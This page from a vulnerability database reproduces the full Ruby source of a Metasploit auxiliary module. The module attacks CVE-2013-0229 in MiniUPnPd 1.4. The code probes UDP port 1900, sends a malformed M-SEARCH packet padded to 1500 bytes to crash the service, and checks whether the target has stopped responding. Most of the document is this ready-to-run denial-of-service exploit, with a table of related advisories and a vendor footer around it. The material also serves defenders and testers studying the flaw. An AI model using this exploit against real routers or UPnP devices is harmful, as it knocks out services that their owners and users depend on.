Lucene search
K

MiniUPnPd 1.4 Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by H D Moore, Dejan Lukan, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 223 Views

MiniUPnPd 1.4 Denial of Service via UDP request

Related
Code
ReporterTitlePublishedViews
Family
0day.today
INFOMARK IMW-C920W miniupnpd 1.0 - Denial of Service Vulnerability
8 Jul 201500:00
zdt
Circl
CVE-2013-0229
28 Jan 201200:00
circl
Check Point Advisories
MiniUPnP MiniUPnPd ProcessSSDPRequest Denial of Service (CVE-2013-0229)
2 Jun 201300:00
checkpoint_advisories
CVE
CVE-2013-0229
31 Jan 201321:00
cve
Cvelist
CVE-2013-0229
31 Jan 201321:00
cvelist
Debian CVE
CVE-2013-0229
31 Jan 201321:00
debiancve
Exploit DB
INFOMARK IMW-C920W MiniUPnPd 1.0 - Denial of Service
7 Jul 201500:00
exploitdb
exploitpack
INFOMARK IMW-C920W MiniUPnPd 1.0 - Denial of Service
7 Jul 201500:00
exploitpack
Tenable Nessus
MiniUPnP < 1.4 Multiple Vulnerabilities
31 Jan 201300:00
nessus
Metasploit
MiniUPnPd 1.4 Denial of Service (DoS) Exploit
3 Jun 201308:35
metasploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',  
'Description' => %q{  
This module allows remote attackers to cause a denial of service (DoS)  
in MiniUPnP 1.0 server via a specifically crafted UDP request.  
},  
'Author' =>  
[  
'hdm', # Vulnerability discovery  
'Dejan Lukan' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0229' ],  
[ 'OSVDB', '89625' ],  
[ 'BID', '57607' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],  
[ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]  
],  
'DisclosureDate' => '2013-03-27',  
))  
  
register_options(  
[  
Opt::RPORT(1900),  
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])  
])  
end  
  
def send_probe(udp_sock, probe)  
udp_sock.put(probe)  
data = udp_sock.recvfrom  
if data and not data[0].empty?  
return data[0]  
else  
return nil  
end  
end  
  
def run  
# the M-SEARCH probe packet that tries to identify whether the service is up or not  
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"  
msearch_probe << "Host:239.255.255.250:1900\r\n"  
msearch_probe << "ST:upnp:rootdevice\r\n"  
msearch_probe << "Man:\"ssdp:discover\"\r\n"  
msearch_probe << "MX:3\r\n"  
msearch_probe << "\r\n"  
  
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the  
# ST line  
sploit = "M-SEARCH * HTTP/1.1\r\n"  
sploit << "HOST: 239.255.255.250:1900\r\n"  
sploit << "ST:uuid:schemas:device:MX:3"  
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'  
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary  
# characters: there's more chance that the program will run off the stack.  
sploit += ' '*(1500-sploit.length)  
  
  
# connect to the UDP port  
connect_udp  
  
print_status("#{rhost}:#{rport} - Checking UPnP...")  
response = send_probe(udp_sock, msearch_probe)  
if response.nil?  
print_error("#{rhost}:#{rport} - UPnP end not found")  
disconnect_udp  
return  
end  
  
(1..datastore['ATTEMPTS']).each { |attempt|  
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")  
  
# send the exploit to the target  
print_status("#{rhost}:#{rport} - Sending malformed packet...")  
udp_sock.put(sploit)  
  
# send the probe to the target  
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")  
response = send_probe(udp_sock, msearch_probe)  
if response.nil?  
print_good("#{rhost}:#{rport} - UPnP unresponsive")  
disconnect_udp  
return  
else  
print_status("#{rhost}:#{rport} - UPnP is responsive still")  
end  
}  
  
disconnect_udp  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation